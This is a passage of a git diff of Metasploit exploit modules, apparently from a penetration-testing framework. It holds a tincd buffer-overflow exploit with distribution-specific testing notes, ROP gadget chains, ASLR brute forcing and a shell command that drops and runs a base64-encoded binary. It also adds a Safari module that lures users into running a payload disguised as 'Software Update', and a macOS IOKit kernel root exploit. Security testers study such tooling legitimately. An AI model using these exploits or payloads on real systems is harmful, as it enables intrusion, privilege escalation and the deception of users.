(1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because + # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known + # at compile time. gcc is introducing a call to __memcpy_chk: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print + # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed + # from the repository. It might be exploitable for versions compiled with an older version of gcc. + # memcpy_chk seems to be in gcc since 2005: + # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c + # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088 + + # OPENSUSE + # OpenSuse 11.2 + # Installation as described on the tincd website. For 11.2 there are two versions. + # Decided for 1.0.16 as this is a vulnerable version + # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm" + # rpm -i tinc-1.0.16-3.1.i586.rpm + # Again, strace shows us that the buffer overflow was detected (see Ubuntu) + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # So a crash-only non-exploitable bof here. So let's go for manual install: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install + # Exploitable. Let's see: + # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means: + # the offset to pop ebp; ret is 0x0804b07f + + # FEDORA + # Fedora 16 + # yum has version 1.0.19 + # yum install tinc + # Non-exploitable crash, see Ubuntu. Strace tells us: + # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 + # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23 + # Manual compile went on with Fedora 19 + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install + # Don't forget to stop firewalld for testing, as the port is still closed otherwise + # # hardening-check tincd + # tincd: + # Position Independent Executable: no, normal executable! + # Stack protected: no, not found! + # Fortify Source functions: no, only unprotected functions found! + # Read-only relocations: yes + # Immediate binding: no, not found! + # Running this module with target set to Windows: + # Program received signal SIGSEGV, Segmentation fault. + # 0x0041caa6 in ?? () + # well and that's our windows offset... + # (gdb) info proc mappings + # 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd + # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we + # can try to execute the payload on the stack, but: + # (gdb) stepi + # Program received signal SIGSEGV, Segmentation fault. + # 0x08e8ee08 in ?? () + # Digging deeper we find: + # dmesg | grep protection + # [ 0.000000] NX (Execute Disable) protection: active + # or: + # # objdump -x /usr/local/sbin/tincd + # [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 + # filesz 0x00000000 memsz 0x00000000 flags rw- + # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365 + # Time for ROP + # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode + # as a pointer to instructions). Was lucky after some searching: + # (gdb) x/10i 0x4d10ee87 + # 0x4d10ee87: pop %ebx + # 0x4d10ee88: mov $0xf5d299dd,%eax + # 0x4d10ee8d: rcr %cl,%al + # 0x4d10ee8f: pop %esp + # 0x4d10ee90: ret + + # ARCHLINUX + # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # pacman -S gcc zlib lzo openssl make && ./configure && make && make install + # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000 + # -->Ret: 0x8065929 + # No NX protection, it simply runs the shellcode :) + + # # + # ARM + # # + # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi + # Although this is more for the interested reader, as Pidora development + # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs + # meaning it's an ARMv6 architecture + # yum has fixed version 1.0.21, so went for manual compile: + # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' + # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install + # Is the binary protected? + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/local/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd + # so again NX... but what about the system things? + # cat /proc/sys/kernel/randomize_va_space + # 2 + # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. + # This is the default setting." + # Here some examples of the address of the system function: + # 0xb6c40848 + # 0xb6cdd848 + # 0xb6c7c848 + # Looks like we would have to brute force one byte + # (gdb) info proc mappings + # 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd + # 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd + # When we exploit we get the following: + # Program received signal SIGSEGV, Segmentation fault. + # 0x90909090 in ?? () + # ok, finally a different offset to eip. Let's figure it out: + # $ tools/pattern_create.rb 1676 + # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get: + # (gdb) break *0x9000 + # Breakpoint 1 at 0x9000 + # See that our shellcode is *on* the stack: + # (gdb) x/10x $sp + # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698 + # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode + # 0xbee14328: 0xe3a02006 0xe3a07001 + # let's explore the code we can reuse: + # (gdb) info functions + # objdump -d /usr/local/sbin/tincd >assembly.txt + # while simply searching for the bx instruction we were not very lucky, + # but searching for some "pop pc" it's easy to find nice gadgets. + # we can write arguments to the .data section again: + # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS + # The problem is we can not reliably forecast the system function's address, but it's + # only one byte random, therefore we have to brute force it and/or find a memory leak. + # Let's assume it's a restarting daemon: + # create /etc/systemd/system/tincd.service and fill in Restart=restart-always + + # ARM Debian Wheezy on qemu + # root@debian:~# apt-cache showpkg tinc + # Package: tinc + # Versions: + # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages) + # nice, that's vulnerable + # apt-get install tinc + # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf + # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh + # # ./checksec.sh --file /usr/sbin/tincd + # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE + # Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd + # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here + + packet_payload = payload.encoded + # Pidora and Fedora/ROP specific things + if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/ + rop_generator = nil + filename = rand_text_alpha(1) + cd = "cd #{datastore['BINARY_DROP_LOCATION']};" + cd = '' if datastore['BINARY_DROP_LOCATION'] == '.' + + if target.name =~ /Pidora 18/ + print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18') + print_status('This requires a restarting tincd daemon!') + print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore') + rop_generator = method(:create_pidora_rop) + elsif target.name =~ /Fedora 19/ + print_status('Using ROP to defeat NX on Fedora 19') + rop_generator = method(:create_fedora_rop) + end + + if target.arch.include? ARCH_CMD + # The CMD payloads are a bit tricky on Fedora. As of december 2013 + # some of the generic unix payloads (e.g. reverse shell with awk) don't work + # (even when executed directly in a terminal on Fedora) + # use generic/custom and specify PAYLOADSTR without single quotes + # it's usually sh -c *bla* + packet_payload = create_fedora_rop(payload.encoded.split(' ', 3)) + else + # the binary drop payloads + packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator) + if packet_payload.length > target['offset'] + print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version") + packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + vprint_status("Achieved version with #{packet_payload.length} bytes") + end + end + end + + if packet_payload.length > target['offset'] + fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.") + end + injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V') + + vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...") + + if target.name =~ /Pidora 18/ + # we have to brute force to defeat ASLR + datastore['BRUTEFORCE_TRIES'].times do + print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)") + setup_ciphers + print_status('Telling tinc exploit client to connect, handshake and send the payload') + begin + send_recv(injection) + rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error + print_error(runtime_error.message) + print_error(runtime_error.backtrace.join("\n\t")) + rescue Rex::ConnectionRefused + print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.') + sleep(3) + next + end + secs = datastore['WAIT'] + print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)") + sleep(secs) + end + print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.") + else + # Setup local ciphers + print_status('Initializing tinc exploit client (setting up ciphers)') + setup_ciphers + # The tincdExploitClient will do the crypto handshake with the server and + # send the injection (a packet), where the actual buffer overflow is triggered + print_status('Telling tinc exploit client to connect, handshake and send the payload') + send_recv(injection) + end + print_status('Exploit finished') + end + + def get_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_base64 = Rex::Text.encode_base64(generate_payload_exe) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) + elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe)) + cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"] + vprint_status("You will try to execute #{cmd.join(' ')}") + rop_generator.call(cmd) + end + + def create_pidora_rop(sys_execv_args) + sys_execv_args = sys_execv_args.join(' ') + sys_execv_args += "\x00" + + aslr_byte_guess = SecureRandom.random_bytes(1).ord + print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)") + + # Gadgets tincd + # c714: e1a00004 mov r0, r4 + # c718: e8bd8010 pop {r4, pc} + mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V') + pop_r4_ret = [0x0000c718].pack('V') + # 1cef4: e580400c str r4, [r0, #12] + # 1cef8: e8bd8010 pop {r4, pc} + # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V') + + # bba0: e5843000 str r3, [r4] + # bba4: e8bd8010 pop {r4, pc} + mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V') + + # 13ccc: e1a00003 mov r0, r3 + # 13cd0: e8bd8008 pop {r3, pc} + pop_r3_ret = [0x00013cd0].pack('V') + + # address to start rop (removing 6 addresses of garbage from stack) + # 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc} + # start_rop = [0x00015cb4].pack('V') + # see target Ret + + # system function address base to brute force + # roughly 500 tests showed addresses between + # 0xb6c18848 and 0xb6d17848 (0xff distance) + system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V') + + # pointer into .data section + loc_dot_data = 0x0002b3f0 # a location inside .data + + # Rop into system(), prepare address of payload in r0 + rop = '' + + # first, let's put the payload into the .data section + + # Put the first location to write to in r4 + rop += pop_r4_ret + + sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Give location inside .data via stack + rop += [loc_dot_data + i * 4].pack('V') + # Pop 4 bytes of the command into r3 + rop += pop_r3_ret + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_r4_addr_pop_r4_ret + end + + # put the address of the payload into r4 + rop += [loc_dot_data].pack('V') + + # now move r4 to r0 + rop += mov_r0_r4_pop_r4_ret + rop += rand_text_alpha(4) + # we don't care what ends up in r4 now + + # call system + rop += system_addr + end + + def create_fedora_rop(sys_execv_args) + # Gadgets tincd + loc_dot_data = 0x80692e0 # a location inside .data + pop_eax = [0x8065969].pack('V') # pop eax; ret + pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret + pop_ecx = [0x804e113].pack('V') # pop ecx; ret + xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret + # <ATTENTION> This one destroys ebx: + mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret + # </ATTENTION> + + # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e + xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret + # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret + # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret + + # Gadgets libc.so.6 libc-2.17.so + pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret + int_80 = [0x4b6049c5].pack('V') # int 0x80 + + # Linux kernel system call 11: sys_execve + # ROP + rop = '' + + index = 0 + stored_argument_pointer_offsets = [] + + sys_execv_args.each_with_index do |argument, argument_no| + stored_argument_pointer_offsets << index + argument.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index + i * 4].pack('V') + # Pop 4 bytes of the command into ecx + rop += pop_ecx + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_eax_addr + end + # We have to end the argument with a zero byte + index += argument.length + # We don't have "xor ecx, ecx", but we have it for eax... + rop += xor_eax_eax + rop += xchg_ecx_eax + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index].pack('V') + # Write the zeros + rop += mov_to_eax_addr + index += 1 # where we can write the next argument + end + + # Append address of the start of each argument + stored_argument_pointer_offsets.each do |offset| + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += pop_ecx + rop += [loc_dot_data + offset].pack('V') + rop += mov_to_eax_addr + index += 4 + end + # end with zero + rop += xor_eax_eax + rop += xchg_ecx_eax + + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += mov_to_eax_addr + + rop += pop_ebx + rop += [loc_dot_data].pack('V') + + rop += pop_ecx + rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V') + + rop += pop_edx + rop += [loc_dot_data + index].pack('V') + + # sys call 11 = sys_execve + rop += pop_eax + rop += [0x0000000b].pack('V') + + rop += int_80 + end +end diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index ad0e950e70..aac7376da6 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 6d4f53a0c5..988ce5768c 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index c94bbd5ff3..0ab1da752a 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index deb89ab9fa..f3ec48b721 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 935ed14075..7934c37aab 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb index b7de8a41ba..c7331b84ea 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", - # :os_name => OperatingSystems::MAC_OSX, + # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => true, # :rank => NormalRanking, #}) diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index 3f81b534ed..e00fd67998 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 0c6eef1bb1..27f17742a8 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote #autopwn_info({ # :ua_name => HttpClients::SAFARI, # :ua_maxver => '2.0.2', - # :os_name => [ OperatingSystems::MAC_OSX ], + # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => false, # :rank => ExcellentRanking, # reliable cmd execution # :vuln_test => nil, diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb new file mode 100644 index 0000000000..b3f464b21a --- /dev/null +++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::BrowserExploitServer + + # Note: might be nicer to do this with mounted FTP share, since we can + # unmount after the attack and not leave a trace on user's machine. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Safari User-Assisted Download and Run Attack', + 'Description' => %q{ + This module abuses some Safari functionality to force the download of a + zipped .app OSX application containing our payload. The app is then + invoked using a custom URL scheme. At this point, the user is presented + with Gatekeeper's prompt: + + "APP_NAME" is an application downloaded from the internet. Are you sure you + want to open it? + + If the user clicks "Open", the app and its payload are executed. + + If the user has the "Only allow applications downloaded from Mac App Store + and identified developers (on by default on OS 10.8+), the user will see + an error dialog containing "can't be opened because it is from an unidentified + developer." To work around this issue, you will need to manually build and sign + an OSX app containing your payload with a custom URL handler called "openurl". + + You can put newlines and unicode in your APP_NAME, although you must be careful not + to create a prompt that is too tall, or the user will not be able to click + the buttons, and will have to either logout or kill the CoreServicesUIAgent + process. + }, + 'License' => MSF_LICENSE, + 'Targets' => + [ + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X64, + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 10 2014', + 'Author' => [ 'joev' ], + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::SAFARI, + :os_name => OperatingSystems::Match::MAC_OSX, + + # On 10.6.8 (Safari 5.x), a dialog never appears unless the user + # has already manually launched the dropped exe + :ua_ver => lambda { |ver| ver.to_i != 5 } + } + )) + + register_options([ + OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]), + OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]), + OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]), + OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]), + OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]), + OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]), + OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"]) + ], self.class) + end + + def on_request_exploit(cli, request, profile) + if request.uri =~ /\.zip/ + print_status("Sending .zip containing app.") + seed = request.qstring['seed'].to_i + send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' }) + else + # send initial HTML page + print_status("Sending #{self.name}") + send_response_html(cli, generate_html) + end + handler(cli) + end + + def generate_html + %Q| + <html><body> + #{datastore['CONTENT']} + <iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'> + </iframe> + <iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'> + </iframe> + <script> + (function() { + var r = parseInt(Math.random() * 9999999); + if (#{datastore['SIGNED_APP'].present?}) r = ''; + var f = document.getElementById('f'); + var f2 = document.getElementById('f2'); + f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r; + window.setTimeout(function(){ + var go = function() { f.src = "openurl"+r+"://a"; }; + go(); + if (#{datastore['LOOP']}) { + window.setInterval(go, #{datastore['LOOP_DELAY']}); + }; + }, #{datastore['DELAY']}); + if (#{datastore['CONFUSE']}) { + var w = 0; + var ivl = window.setInterval(function(){ + f2.src = 'ssh://ssh@ssh'; + if (w++ > 200) clearInterval(ivl); + }, #{datastore['LOOP_DELAY']}); + } + })(); + </script> + </body></html> + | + end + + def app_zip(seed) + if datastore['SIGNED_APP'].present? + print_status "Zipping custom app bundle..." + zip = Rex::Zip::Archive.new + zip.add_r(datastore['SIGNED_APP']) + zip.pack + else + plist_extra = %Q| + <key>CFBundleURLTypes</key> + <array> + <dict> + <key>CFBundleURLName</key> + <string>Local File</string> + <key>CFBundleURLSchemes</key> + <array> + <string>openurl#{seed}</string> + </array> + </dict> + </array> + | + + my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX]) + Msf::Util::EXE.to_osx_app(my_payload, + :app_name => datastore['APP_NAME'], + :plist_extra => plist_extra + ) + end + end +end diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index cac67fc293..13d049e81a 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index 0e8174ccc5..ef30c099f0 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index b87286992c..c61f1ceb23 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb index b20bef1ab1..2e4a586b97 100644 --- a/modules/exploits/osx/http/evocam_webserver.rb +++ b/modules/exploits/osx/http/evocam_webserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb new file mode 100644 index 0000000000..f35c7526c9 --- /dev/null +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = ManualRanking # Can cause kernel crash + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation', + 'Description' => %q{ + A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory + corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel + pointers can also be leaked, allowing a full kASLR bypass. + + Tested on Mavericks 10.9.5, and should work on previous versions. + + The issue was patched silently in Yosemite. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ian Beer', # discovery, advisory, publication, and a most excellent blog post + 'joev' # copy/paste monkey + ], + 'References' => + [ + [ 'CVE', '2014-4404' ], + [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ], + # Heap overflow: + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ], + # kALSR defeat: + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ] + ], + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + end + + def check + if ver_lt(osx_ver, "10.10") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404') + binary_exploit = File.read(File.join(exploit_path, 'key_exploit')) + binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + + print_status("Writing exploit file as '#{exploit_file}'") + write_file(exploit_file, binary_exploit) + register_file_for_cleanup(exploit_file) + + print_status("Writing payload file as '#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) + + print_status("Executing payload...") + cmd_exec("chmod +x #{exploit_file}") + cmd_exec("chmod +x #{payload_file}") + cmd_exec("#{exploit_file} #{payload_file}") + end + + def osx_ver + cmd_exec("sw_vers -productVersion").to_s.strip + end + + def ver_lt(a, b) + Gem::Version.new(a) < Gem::Version.new(b) + end + +end diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb new file mode 100644 index 0000000000..e9636e54b5 --- /dev/null +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit', + 'Description' => %q{ + This exploit leverages a stack overflow vulnerability to escalate privileges. + The vulnerable function nfs_convert_old_nfs_args does not verify the size + of a user-provided argument before copying it to the stack. As a result, by + passing a large size as an argument, a local user can overwrite the stack with arbitrary + content. + + Mac OS X Lion Kernel <= xnu-1699.32.7 except 